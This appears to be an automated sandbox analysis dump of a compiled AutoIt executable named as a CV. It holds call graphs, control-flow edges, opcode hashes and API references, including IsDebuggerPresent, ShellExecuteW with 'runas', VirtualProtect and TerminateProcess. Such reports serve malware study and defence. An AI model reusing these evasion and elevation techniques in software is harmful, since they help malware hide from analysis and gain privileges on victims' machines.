96131->96121 96131->96124 96131->96128 96131->96129 96131->96130 96133 b2dcae 50 API calls 96131->96133 96134 b33635 Mailbox 96131->96134 96411 b22b7a 96131->96411 96419 b2d9a0 53 API calls __cinit 96131->96419 96420 b2d8c0 53 API calls 96131->96420 96421 b7f320 335 API calls 96131->96421 96422 b7f5ee 335 API calls 96131->96422 96423 b21caa 49 API calls 96131->96423 96424 b7cda2 82 API calls Mailbox 96131->96424 96425 b680e3 53 API calls 96131->96425 96426 b2d764 55 API calls 96131->96426 96427 b6c942 50 API calls 96131->96427 96133->96131 96134->95068 96135->95037 96136->95041 96137->95046 96138->95068 96139->95068 96140->95079 96141->95079 96142->95079 96144 b2fe50 96143->96144 96168 b2fe7e 96143->96168 96145 b3f4ea 48 API calls 96144->96145 96145->96168 96146 b40f0a 52 API calls __cinit 96146->96168 96147 b3146e 96148 b26eed 48 API calls 96147->96148 96170 b2ffe1 96148->96170 96150 b30509 96434 b6cc5c 86 API calls 4 library calls 96150->96434 96153 b3f4ea 48 API calls 96153->96168 96154 b9a246 96157 b26eed 48 API calls 96154->96157 96155 b9a922 96155->95068 96156 b31473 96433 b6cc5c 86 API calls 4 library calls 96156->96433 96157->96170 96160 b26eed 48 API calls 96160->96168 96161 b9a873 96161->95068 96162 b2d7f7 48 API calls 96162->96168 96163 b9a30e 96163->96170 96431 b597ed InterlockedDecrement 96163->96431 96165 b597ed InterlockedDecrement 96165->96168 96166 b9a973 96435 b6cc5c 86 API calls 4 library calls 96166->96435 96168->96146 96168->96147 96168->96150 96168->96153 96168->96154 96168->96156 96168->96160 96168->96162 96168->96163 96168->96165 96168->96166 96168->96170 96171 b315b5 96168->96171 96429 b31820 335 API calls 2 library calls 96168->96429 96430 b31d10 59 API calls Mailbox 96168->96430 96169 b9a982 96170->95068 96432 b6cc5c 86 API calls 4 library calls 96171->96432 96172->95079 96173->95079 96174->95079 96175->96014 96176->96016 96177->96065 96178->96024 96179->96061 96180->96065 96181->96081 96182->96042 96183->96064 96184->96071 96188->96065 96189->96065 96190->96065 96191->96066 96192->96081 96193->96081 96194->96059 96195->96081 96196->96081 96197->96065 96199 b6fa1c __ftell_nolock 96198->96199 96200 b6fa44 96199->96200 96354 b2d286 48 API calls 96199->96354 96202 b2936c 81 API calls 96200->96202 96203 b6fa5e 96202->96203 96204 b6fa80 96203->96204 96205 b6fb68 96203->96205 96215 b6fb92 96203->96215 96206 b2936c 81 API calls 96204->96206 96207 b241a9 136 API calls 96205->96207 96215->96092 96240 b2936c 81 API calls 96239->96240 96241 b7702a 96240->96241 96242 b2b470 91 API calls 96241->96242 96244 b7703a 96242->96244 96243 b7705f 96247 b77063 96243->96247 96393 b2cdb9 48 API calls 96243->96393 96244->96243 96245 b2fe30 335 API calls 96244->96245 96245->96243 96247->96092 96394 b66ca9 GetFileAttributesW 96248->96394 96251->96093 96253 b7e84e 96252->96253 96254 b7e868 96252->96254 96398 b6cc5c 86 API calls 4 library calls 96253->96398 96399 b7ccdc 48 API calls 96254->96399 96257 b7e871 96258 b2fe30 334 API calls 96257->96258 96259 b7e8cf 96258->96259 96260 b7e96a 96259->96260 96262 b7e916 96259->96262 96285 b7e860 Mailbox 96259->96285 96261 b7e978 96260->96261 96265 b7e9c7 96260->96265 96401 b6a69d 48 API calls 96261->96401 96400 b69b72 48 API calls 96262->96400 96264 b7e949 96268 b2936c 81 API calls 96265->96268 96265->96285 96285->96090 96292->96092 96354->96200 96393->96247 96395 b66529 96394->96395 96396 b66cc4 FindFirstFileW 96394->96396 96395->96092 96396->96395 96397 b66cd9 FindClose 96396->96397 96397->96395 96398->96285 96399->96257 96400->96264 96407 b2bd3f 96406->96407 96410 b2bd5a 96406->96410 96408 b2bdfa 48 API calls 96407->96408 96409 b2bd47 CharUpperBuffW 96408->96409 96409->96410 96410->96111 96412 b9436a 96411->96412 96413 b22b8b 96411->96413 96414 b3f4ea 48 API calls 96413->96414 96415 b22b92 96414->96415 96416 b22bb3 96415->96416 96428 b22bce 48 API calls 96415->96428 96416->96131 96418->96131 96419->96131 96420->96131 96421->96131 96422->96131 96423->96131 96424->96131 96425->96131 96426->96131 96427->96131 96428->96416 96429->96168 96430->96168 96431->96170 96432->96170 96433->96161 96434->96155 96435->96169 96436 14de2c0 96450 14dbf10 96436->96450 96438 14de37f 96453 14de1b0 96438->96453 96452 14dc59b 96450->96452 96456 14df3b0 GetPEB 96450->96456 96452->96438 96454 14de1b9 Sleep 96453->96454 96455 14de1c7 96454->96455 96456->96452 96457 b23742 96458 b2374b 96457->96458 96459 b237c8 96458->96459 96460 b23769 96458->96460 96498 b237c6 96458->96498 96462 b91e00 96459->96462 96463 b237ce 96459->96463 96464 b23776 96460->96464 96465 b2382c PostQuitMessage 96460->96465 96461 b237ab DefWindowProcW 96491 b237b9 96461->96491 96512 b22ff6 16 API calls 96462->96512 96466 b237d3 96463->96466 96467 b237f6 SetTimer RegisterWindowMessageW 96463->96467 96469 b91e88 96464->96469 96470 b23781 96464->96470 96465->96491 96471 b237da KillTimer 96466->96471 96472 b91da3 96466->96472 96474 b2381f CreatePopupMenu 96467->96474 96467->96491 96517 b64ddd 60 API calls _memset 96469->96517 96475 b23836 96470->96475 96476 b23789 96470->96476 96509 b23847 Shell_NotifyIconW _memset 96471->96509 96478 b91da8 96472->96478 96479 b91ddc MoveWindow 96472->96479 96473 b91e27 96513 b3e312 335 API calls Mailbox 96473->96513 96474->96491 96502 b3eb83 96475->96502 96482 b23794 96476->96482 96487 b91e6d 96476->96487 96484 b91dcb SetFocus 96478->96484 96485 b91dac 96478->96485 96479->96491 96488 b2379f 96482->96488 96489 b91e58 96482->96489 96484->96491 96485->96488 96492 b91db5 96485->96492 96486 b237ed 96510 b2390f DeleteObject DestroyWindow Mailbox 96486->96510 96487->96461 96516 b5a5f3 48 API calls 96487->96516 96488->96461 96514 b23847 Shell_NotifyIconW _memset 96488->96514 96515 b655bd 70 API calls _memset 96489->96515 96490 b91e9a 96490->96461 96490->96491 96511 b22ff6 16 API calls 96492->96511 96497 b91e68 96497->96491 96498->96461 96500 b91e4c 96501 b24ffc 67 API calls 96500->96501 96501->96498 96503 b3eb9a _memset 96502->96503 96504 b3ec1c 96502->96504 96505 b251af 50 API calls 96503->96505 96504->96491 96508 b3ebc1 96505->96508 96506 b3ec05 KillTimer SetTimer 96506->96504 96507 b93c7a Shell_NotifyIconW 96507->96506 96508->96506 96508->96507 96509->96486 96510->96491 96511->96491 96512->96473 96513->96488 96514->96500 96515->96497 96516->96498 96517->96490 96518 b2ef80 96519 b33b70 335 API calls 96518->96519 96520 b2ef8c 96519->96520 96521 b919cb 96526 b22322 96521->96526 96523 b919d1 96559 b40f0a 52 API calls __cinit 96523->96559 96525 b919db 96527 b22344 96526->96527 96560 b226df 96527->96560 96532 b2d7f7 48 API calls 96533 b22384 96532->96533 96534 b2d7f7 48 API calls 96533->96534 96535 b2238e 96534->96535 96536 b2d7f7 48 API calls 96535->96536 96537 b22398 96536->96537 96538 b2d7f7 48 API calls 96537->96538 96539 b223de 96538->96539 96540 b2d7f7 48 API calls 96539->96540 96541 b224c1 96540->96541 96568 b2263f 96541->96568 96545 b224f1 96546 b2d7f7 48 API calls 96545->96546 96547 b224fb 96546->96547 96597 b22745 96547->96597 96549 b22546 96550 b22556 GetStdHandle 96549->96550 96551 b225b1 96550->96551 96552 b9501d 96550->96552 96553 b225b7 CoInitialize 96551->96553 96552->96551 96554 b95026 96552->96554 96553->96523 96604 b692d4 53 API calls 96554->96604 96556 b9502d 96605 b699f9 CreateThread 96556->96605 96558 b95039 CloseHandle 96558->96553 96559->96525 96606 b22854 96560->96606 96563 b26a63 48 API calls 96564 b2234a 96563->96564 96565 b2272e 96564->96565 96620 b227ec 6 API calls 96565->96620 96567 b2237a 96567->96532 96569 b2d7f7 48 API calls 96568->96569 96570 b2264f 96569->96570 96571 b2d7f7 48 API calls 96570->96571 96572 b22657 96571->96572 96621 b226a7 96572->96621 96575 b226a7 48 API calls 96576 b22667 96575->96576 96577 b2d7f7 48 API calls 96576->96577 96578 b22672 96577->96578 96579 b3f4ea 48 API calls 96578->96579 96580 b224cb 96579->96580 96581 b222a4 96580->96581 96582 b222b2 96581->96582 96583 b2d7f7 48 API calls 96582->96583 96584 b222bd 96583->96584 96585 b2d7f7 48 API calls 96584->96585 96586 b222c8 96585->96586 96587 b2d7f7 48 API calls 96586->96587 96588 b222d3 96587->96588 96589 b2d7f7 48 API calls 96588->96589 96590 b222de 96589->96590 96591 b226a7 48 API calls 96590->96591 96592 b222e9 96591->96592 96593 b3f4ea 48 API calls 96592->96593 96594 b222f0 96593->96594 96595 b222f9 RegisterWindowMessageW 96594->96595 96596 b91fe7 96594->96596 96595->96545 96598 b95f4d 96597->96598 96599 b22755 96597->96599 96626 b6c942 50 API calls 96598->96626 96600 b3f4ea 48 API calls 96599->96600 96603 b2275d 96600->96603 96602 b95f58 96603->96549 96604->96556 96605->96558 96627 b699df 54 API calls 96605->96627 96613 b22870 96606->96613 96609 b22870 48 API calls 96610 b22864 96609->96610 96611 b2d7f7 48 API calls 96610->96611 96612 b22716 96611->96612 96612->96563 96614 b2d7f7 48 API calls 96613->96614 96615 b2287b 96614->96615 96616 b2d7f7 48 API calls 96615->96616 96617 b22883 96616->96617 96618 b2d7f7 48 API calls 96617->96618 96619 b2285c 96618->96619 96619->96609 96620->96567 96622 b2d7f7 48 API calls 96621->96622 96623 b226b0 96622->96623 96624 b2d7f7 48 API calls 96623->96624 96625 b2265f 96624->96625 96625->96575 96626->96602 96628 b6bb64 96629 b6bb71 96628->96629 96630 b6bb77 96628->96630 96631 b41c9d _free 47 API calls 96629->96631 96632 b6bb88 96630->96632 96633 b41c9d _free 47 API calls 96630->96633 96631->96630 96634 b41c9d _free 47 API calls 96632->96634 96635 b6bb9a 96632->96635 96633->96632 96634->96635 96636 b99bec 96671 b30ae0 _memcpy_s Mailbox 96636->96671 96641 b30509 96731 b6cc5c 86 API calls 4 library calls 96641->96731 96642 b3146e 96650 b26eed 48 API calls 96642->96650 96644 b31473 96730 b6cc5c 86 API calls 4 library calls 96644->96730 96646 b3f4ea 48 API calls 96665 b2fec8 96646->96665 96647 b26eed 48 API calls 96647->96665 96648 b9a246 96654 b26eed 48 API calls 96648->96654 96649 b9a922 96664 b2ffe1 Mailbox 96650->96664 96654->96664 96655 b9a873 96656 b597ed InterlockedDecrement 96656->96665 96657 b2d7f7 48 API calls 96657->96665 96658 b9a30e 96658->96664 96726 b597ed InterlockedDecrement 96658->96726 96659 b2ce19 48 API calls 96659->96671 96660 b40f0a 52 API calls __cinit 96660->96665 96662 b9a973 96732 b6cc5c 86 API calls 4 library calls 96662->96732 96665->96641 96665->96642 96665->96644 96665->96646 96665->96647 96665->96648 96665->96656 96665->96657 96665->96658 96665->96660 96665->96662 96665->96664 96667 b315b5 96665->96667 96723 b31820 335 API calls 2 library calls 96665->96723 96724 b31d10 59 API calls Mailbox 96665->96724 96666 b9a982 96729 b6cc5c 86 API calls 4 library calls 96667->96729 96668 b7e822 335 API calls 96668->96671 96669 b3f4ea 48 API calls 96669->96671 96670 b2fe30 335 API calls 96670->96671 96671->96659 96671->96664 96671->96665 96671->96668 96671->96669 96671->96670 96672 b9a706 96671->96672 96674 b31526 Mailbox 96671->96674 96675 b597ed InterlockedDecrement 96671->96675 96678 b76ff0 335 API calls 96671->96678 96679 b80d1d 96671->96679 96682 b80d09 96671->96682 96685 b7f0ac 96671->96685 96717 b6a6ef 96671->96717 96725 b7ef61 82 API calls 2 library calls 96671->96725 96727 b6cc5c 86 API calls 4 library calls 96672->96727 96728 b6cc5c 86 API calls 4 library calls 96674->96728 96675->96671 96678->96671 96733 b7f8ae 96679->96733 96681 b80d2d 96681->96671 96683 b7f8ae 129 API calls 96682->96683 96684 b80d19 96683->96684 96684->96671 96686 b2d7f7 48 API calls 96685->96686 96687 b7f0c0 96686->96687 96688 b2d7f7 48 API calls 96687->96688 96689 b7f0c8 96688->96689 96690 b2d7f7 48 API calls 96689->96690 96691 b7f0d0 96690->96691 96692 b2936c 81 API calls 96691->96692 96716 b7f0de 96692->96716 96693 b26a63 48 API calls 96693->96716 96694 b7f2cc 96695 b7f2f9 Mailbox 96694->96695 96835 b26b68 48 API calls 96694->96835 96695->96671 96697 b7f2b3 96698 b2518c 48 API calls 96697->96698 96700 b7f2c0 96698->96700 96699 b7f2ce 96702 b2518c 48 API calls 96699->96702 96705 b2510d 48 API calls 96700->96705 96701 b2c799 48 API calls 96701->96716 96706 b7f2dd 96702->96706 96703 b26eed 48 API calls 96703->96716 96704 b2bdfa 48 API calls 96708 b7f175 CharUpperBuffW 96704->96708 96705->96694 96709 b2510d 48 API calls 96706->96709 96707 b2bdfa 48 API calls 96710 b7f23a CharUpperBuffW 96707->96710 96711 b2d645 53 API calls 96708->96711 96709->96694 96834 b3d922 55 API calls 2 library calls 96710->96834 96711->96716 96713 b2936c 81 API calls 96713->96716 96714 b2510d 48 API calls 96714->96716 96715 b2518c 48 API calls 96715->96716 96716->96693 96716->96694 96716->96695 96716->96697 96716->96699 96716->96701 96716->96703 96716->96704 96716->96707 96716->96713 96716->96714 96716->96715 96718 b6a6fb 96717->96718 96719 b3f4ea 48 API calls 96718->96719 96720 b6a709 96719->96720 96721 b2d7f7 48 API calls 96720->96721 96722 b6a717 96720->96722 96721->96722 96722->96671 96723->96665 96724->96665 96725->96671 96726->96664 96727->96674 96728->96664 96729->96664 96730->96655 96731->96649 96732->96666 96734 b2936c 81 API calls 96733->96734 96735 b7f8ea 96734->96735 96758 b7f92c Mailbox 96735->96758 96769 b80567 96735->96769 96737 b7fb8b 96738 b7fcfa 96737->96738 96742 b7fb95 96737->96742 96817 b80688 89 API calls Mailbox 96738->96817 96741 b7fd07 96741->96742 96744 b7fd13 96741->96744 96782 b7f70a 96742->96782 96743 b2936c 81 API calls 96763 b7f984 Mailbox 96743->96763 96744->96758 96749 b7fbc9 96796 b3ed18 96749->96796 96752 b7fbe3 96815 b6cc5c 86 API calls 4 library calls 96752->96815 96753 b7fbfd 96754 b3c050 48 API calls 96753->96754 96756 b7fc14 96754->96756 96759 b7fc3e 96756->96759 96760 b31b90 48 API calls 96756->96760 96757 b7fbee GetCurrentProcess TerminateProcess 96757->96753 96758->96681 96761 b7fd65 96759->96761 96765 b31b90 48 API calls 96759->96765 96800 b8040f 96759->96800 96816 b2dcae 50 API calls Mailbox 96759->96816 96762 b7fc2d 96760->96762 96761->96758 96766 b7fd7e FreeLibrary 96761->96766 96764 b8040f 105 API calls 96762->96764 96763->96737 96763->96743 96763->96758 96763->96763 96813 b829e8 48 API calls _memcpy_s 96763->96813 96814 b7fda5 60 API calls 2 library calls 96763->96814 96764->96759 96765->96759 96766->96758 96770 b2bdfa 48 API calls 96769->96770 96771 b80582 CharLowerBuffW 96770->96771 96818 b61f11 96771->96818 96775 b2d7f7 48 API calls 96776 b805bb 96775->96776 96825 b269e9 48 API calls _memcpy_s 96776->96825 96778 b805d2 96779 b2b18b 48 API calls 96778->96779 96780 b805de Mailbox 96779->96780 96781 b8061a Mailbox 96780->96781 96826 b7fda5 60 API calls 2 library calls 96780->96826 96781->96763 96783 b7f725 96782->96783 96784 b7f77a 96782->96784 96785 b3f4ea 48 API calls 96783->96785 96788 b80828 96784->96788 96787 b7f747 96785->96787 96786 b3f4ea 48 API calls 96786->96787 96787->96784 96787->96786 96789 b80a53 Mailbox 96788->96789 96795 b8084b _strcat _wcscpy __wsetenvp 96788->96795 96789->96749 96790 b2d286 48 API calls 96790->96795 96791 b2cf93 58 API calls 96791->96795 96792 b2936c 81 API calls 96792->96795 96793 b4395c 47 API calls _W_store_winword 96793->96795 96795->96789 96795->96790 96795->96791 96795->96792 96795->96793 96829 b68035 50 API calls __wsetenvp 96795->96829 96798 b3ed2d 96796->96798 96797 b3edc5 VirtualProtect 96799 b3ed93 96797->96799 96798->96797 96798->96799 96799->96752 96799->96753 96801 b80427 96800->96801 96811 b80443 96800->96811 96802 b804f8 96801->96802 96803 b8042e 96801->96803 96804 b8044f 96801->96804 96801->96811 96833 b69dc5 103 API calls 96802->96833 96830 b67c56 50 API calls _strlen 96803->96830 96832 b2cdb9 48 API calls 96804->96832 96807 b41c9d _free 47 API calls 96810 b8051e 96807->96810 96809 b80438 96831 b2cdb9 48 API calls 96809->96831 96810->96759 96811->96807 96811->96810 96813->96763 96814->96763 96815->96757 96816->96759 96817->96741 96819 b61f3b __wsetenvp 96818->96819 96820 b61f79 96819->96820 96822 b61f6f 96819->96822 96823 b61ffa 96819->96823 96820->96775 96820->96780 96822->96820 96827 b3d37a 60 API calls 96822->96827 96823->96820 96828 b3d37a 60 API calls 96823->96828 96825->96778 96826->96781 96827->96822 96828->96823 96829->96795 96830->96809 96831->96811 96832->96811 96833->96811 96834->96716 96835->96695 96836 b99c06 96847 b3d3be 96836->96847 96838 b99c1c 96846 b99c91 Mailbox 96838->96846 96856 b21caa 49 API calls 96838->96856 96840 b99c71 96843 b99cc5 96840->96843 96857 b6b171 48 API calls 96840->96857 96841 b33200 335 API calls 96841->96843 96844 b9a7ab Mailbox 96843->96844 96858 b6cc5c 86 API calls 4 library calls 96843->96858 96846->96841 96848 b3d3ca 96847->96848 96849 b3d3dc 96847->96849 96859 b2dcae 50 API calls Mailbox 96848->96859 96851 b3d3e2 96849->96851 96852 b3d40b 96849->96852 96853 b3f4ea 48 API calls 96851->96853 96860 b2dcae 50 API calls Mailbox 96852->96860 96855 b3d3d4 96853->96855 96855->96838 96856->96840 96857->96846 96858->96844 96859->96855 96860->96855

                                                                  Executed Functions

                                                                  Function 00B4B043 Relevance: 21.5, APIs: 14, Instructions: 537COMMONLIBRARYCODE
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 643 b4b043-b4b080 call b4f8a0 646 b4b082-b4b084 643->646 647 b4b089-b4b08b 643->647 648 b4b860-b4b86c call b4a70c 646->648 649 b4b0ac-b4b0d9 647->649 650 b4b08d-b4b0a7 call b47bda call b47c0e call b46e10 647->650 653 b4b0e0-b4b0e7 649->653 654 b4b0db-b4b0de 649->654 650->648 658 b4b105 653->658 659 b4b0e9-b4b100 call b47bda call b47c0e call b46e10 653->659 654->653 657 b4b10b-b4b110 654->657 662 b4b112-b4b11c call b4f82f 657->662 663 b4b11f-b4b12d call b53bf2 657->663 658->657 689 b4b851-b4b854 659->689 662->663 674 b4b133-b4b145 663->674 675 b4b44b-b4b45d 663->675 674->675 679 b4b14b-b4b183 call b47a0d GetConsoleMode 674->679 676 b4b463-b4b473 675->676 677 b4b7b8-b4b7d5 WriteFile 675->677 681 b4b479-b4b484 676->681 682 b4b55a-b4b55f 676->682 684 b4b7d7-b4b7df 677->684 685 b4b7e1-b4b7e7 GetLastError 677->685 679->675 694 b4b189-b4b18f 679->694 687 b4b48a-b4b49a 681->687 688 b4b81b-b4b833 681->688 691 b4b565-b4b56e 682->691 692 b4b663-b4b66e 682->692 690 b4b7e9 684->690 685->690 695 b4b4a0-b4b4a3 687->695 696 b4b835-b4b838 688->696 697 b4b83e-b4b84e call b47c0e call b47bda 688->697 693 b4b85e-b4b85f 689->693 699 b4b7ef-b4b7f1 690->699 691->688 700 b4b574 691->700 692->688 698 b4b674 692->698 693->648 701 b4b191-b4b193 694->701 702 b4b199-b4b1bc GetConsoleCP 694->702 703 b4b4a5-b4b4be 695->703 704 b4b4e9-b4b520 WriteFile 695->704 696->697 705 b4b83a-b4b83c 696->705 697->689 706 b4b67e-b4b693 698->706 708 b4b856-b4b85c 699->708 709 b4b7f3-b4b7f5 699->709 710 b4b57e-b4b595 700->710 701->675 701->702 712 b4b440-b4b446 702->712 713 b4b1c2-b4b1ca 702->713 714 b4b4c0-b4b4ca 703->714 715 b4b4cb-b4b4e7 703->715 704->685 716 b4b526-b4b538 704->716 705->693 717 b4b699-b4b69b 706->717 708->693 709->688 719 b4b7f7-b4b7fc 709->719 711 b4b59b-b4b59e 710->711 720 b4b5a0-b4b5b6 711->720 721 b4b5de-b4b627 WriteFile 711->721 712->709 722 b4b1d4-b4b1d6 713->722 714->715 715->695 715->704 716->699 723 b4b53e-b4b54f 716->723 724 b4b69d-b4b6b3 717->724 725 b4b6d8-b4b719 WideCharToMultiByte 717->725 727 b4b812-b4b819 call b47bed 719->727 728 b4b7fe-b4b810 call b47c0e call b47bda 719->728 731 b4b5cd-b4b5dc 720->731 732 b4b5b8-b4b5ca 720->732 721->685 733 b4b62d-b4b645 721->733 735 b4b1dc-b4b1fe 722->735 736 b4b36b-b4b36e 722->736 723->687 737 b4b555 723->737 738 b4b6b5-b4b6c4 724->738 739 b4b6c7-b4b6d6 724->739 725->685 729 b4b71f-b4b721 725->729 727->689 728->689 741 b4b727-b4b75a WriteFile 729->741 731->711 731->721 732->731 733->699 743 b4b64b-b4b658 733->743 745 b4b217-b4b223 call b41688 735->745 746 b4b200-b4b215 735->746 747 b4b375-b4b3a2 736->747 748 b4b370-b4b373 736->748 737->699 738->739 739->717 739->725 750 b4b75c-b4b776 741->750 751 b4b77a-b4b78e GetLastError 741->751 743->710 753 b4b65e 743->753 767 b4b225-b4b239 745->767 768 b4b269-b4b26b 745->768 754 b4b271-b4b283 call b540f7 746->754 749 b4b3a8-b4b3ab 747->749 748->747 748->749 756 b4b3b2-b4b3c5 call b55884 749->756 757 b4b3ad-b4b3b0 749->757 750->741 758 b4b778 750->758 761 b4b794-b4b796 751->761 753->699 770 b4b435-b4b43b 754->770 771 b4b289 754->771 756->685 776 b4b3cb-b4b3d5 756->776 757->756 763 b4b407-b4b40a 757->763 758->761 761->690 766 b4b798-b4b7b0 761->766 763->722 773 b4b410 763->773 766->706 772 b4b7b6 766->772 774 b4b412-b4b42d 767->774 775 b4b23f-b4b254 call b540f7 767->775 768->754 770->690 777 b4b28f-b4b2c4 WideCharToMultiByte 771->777 772->699 773->770 774->770 775->770 783 b4b25a-b4b267 775->783 779 b4b3d7-b4b3ee call b55884 776->779 780 b4b3fb-b4b401 776->780 777->770 781 b4b2ca-b4b2f0 WriteFile 777->781 779->685 788 b4b3f4-b4b3f5 779->788 780->763 781->685 785 b4b2f6-b4b30e 781->785 783->777 785->770 787 b4b314-b4b31b 785->787 787->780 789 b4b321-b4b34c WriteFile 787->789 788->780 789->685 790 b4b352-b4b359 789->790 790->770 791 b4b35f-b4b366 790->791 791->780
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 950c0a2a3ad4a8a657a7b3840c23f50e5bb5dc90bd733e6b0b28a28aefe9fe4f
                                                                  • Instruction ID: aecefbc2830e317d510efc6b12f277f22680250b44dd144741ee43b002bfa3b9
                                                                  • Opcode Fuzzy Hash: 950c0a2a3ad4a8a657a7b3840c23f50e5bb5dc90bd733e6b0b28a28aefe9fe4f
                                                                  • Instruction Fuzzy Hash: 67325A75B022688BDB248F58DC81AE9B7F5FF4A310F1841D9E50AA7A91D7309E80DF52
                                                                  Function 00B23D19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  APIs
                                                                  • GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00B23AA3,?), ref: 00B23D45
                                                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,00B23AA3,?), ref: 00B23D57
                                                                  • GetFullPathNameW.KERNEL32(00007FFF,?,?,00BE1148,00BE1130,?,?,?,?,00B23AA3,?), ref: 00B23DC8
                                                                    • Part of subcall function 00B26430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00B23DEE,00BE1148,?,?,?,?,?,00B23AA3,?), ref: 00B26471
                                                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,00B23AA3,?), ref: 00B23E48
                                                                  • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00BD28F4,00000010), ref: 00B91CCE
                                                                  • SetCurrentDirectoryW.KERNEL32(?,00BE1148,?,?,?,?,?,00B23AA3,?), ref: 00B91D06
                                                                  • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00BBDAB4,00BE1148,?,?,?,?,?,00B23AA3,?), ref: 00B91D89
                                                                  • ShellExecuteW.SHELL32(00000000,?,?,?,?,00B23AA3), ref: 00B91D90
                                                                    • Part of subcall function 00B23E6E: GetSysColorBrush.USER32(0000000F), ref: 00B23E79
                                                                    • Part of subcall function 00B23E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00B23E88
                                                                    • Part of subcall function 00B23E6E: LoadIconW.USER32(00000063), ref: 00B23E9E
                                                                    • Part of subcall function 00B23E6E: LoadIconW.USER32(000000A4), ref: 00B23EB0
                                                                    • Part of subcall function 00B23E6E: LoadIconW.USER32(000000A2), ref: 00B23EC2
                                                                    • Part of subcall function 00B23E6E: RegisterClassExW.USER32(?), ref: 00B23F30
                                                                    • Part of subcall function 00B236B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B236E6
                                                                    • Part of subcall function 00B236B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B23707
                                                                    • Part of subcall function 00B236B8: ShowWindow.USER32(00000000,?,?,?,?,00B23AA3,?), ref: 00B2371B
                                                                    • Part of subcall function 00B236B8: ShowWindow.USER32(00000000,?,?,?,?,00B23AA3,?), ref: 00B23724
                                                                    • Part of subcall function 00B24FFC: _memset.LIBCMT ref: 00B25022
                                                                    • Part of subcall function 00B24FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B250CB
                                                                  Strings
                                                                  • This is a third-party compiled AutoIt script., xrefs: 00B91CC8
                                                                  • runas, xrefs: 00B91D84
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
                                                                  • String ID: This is a third-party compiled AutoIt script.$runas
                                                                  • API String ID: 438480954-3287110873
                                                                  • Opcode ID: 5bc4fca4f57b86125fbef2d5dba874261508c1233365ed4c9b93997ffbcb9f1e
                                                                  • Instruction ID: 82486b27cfdcdd21736a22970785f3d5a51e5656c8a775b8b556e68a25a32a89
                                                                  • Opcode Fuzzy Hash: 5bc4fca4f57b86125fbef2d5dba874261508c1233365ed4c9b93997ffbcb9f1e
                                                                  • Instruction Fuzzy Hash: 6351D531904299AACF11BBB8EC86DED7BF9DF15B00F1044E9F506771A2DE784A498732
                                                                  Function 00B3DDC0 Relevance: 10.7, APIs: 7, Instructions: 175COMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1075 b3ddc0-b3de4f call b2d7f7 GetVersionExW call b26a63 call b3dfb4 call b26571 1084 b924c8-b924cb 1075->1084 1085 b3de55-b3de56 1075->1085 1086 b924cd 1084->1086 1087 b924e4-b924e8 1084->1087 1088 b3de92-b3dea2 call b3df77 1085->1088 1089 b3de58-b3de63 1085->1089 1091 b924d0 1086->1091 1092 b924ea-b924f3 1087->1092 1093 b924d3-b924dc 1087->1093 1104 b3dec7-b3dee1 1088->1104 1105 b3dea4-b3dec1 GetCurrentProcess call b3df5f 1088->1105 1094 b9244e-b92454 1089->1094 1095 b3de69-b3de6b 1089->1095 1091->1093 1092->1091 1101 b924f5-b924f8 1092->1101 1093->1087 1099 b9245e-b92464 1094->1099 1100 b92456-b92459 1094->1100 1096 b92469-b92475 1095->1096 1097 b3de71-b3de74 1095->1097 1106 b9247f-b92485 1096->1106 1107 b92477-b9247a 1096->1107 1102 b3de7a-b3de89 1097->1102 1103 b92495-b92498 1097->1103 1099->1088 1100->1088 1101->1093 1108 b9248a-b92490 1102->1108 1109 b3de8f 1102->1109 1103->1088 1110 b9249e-b924b3 1103->1110 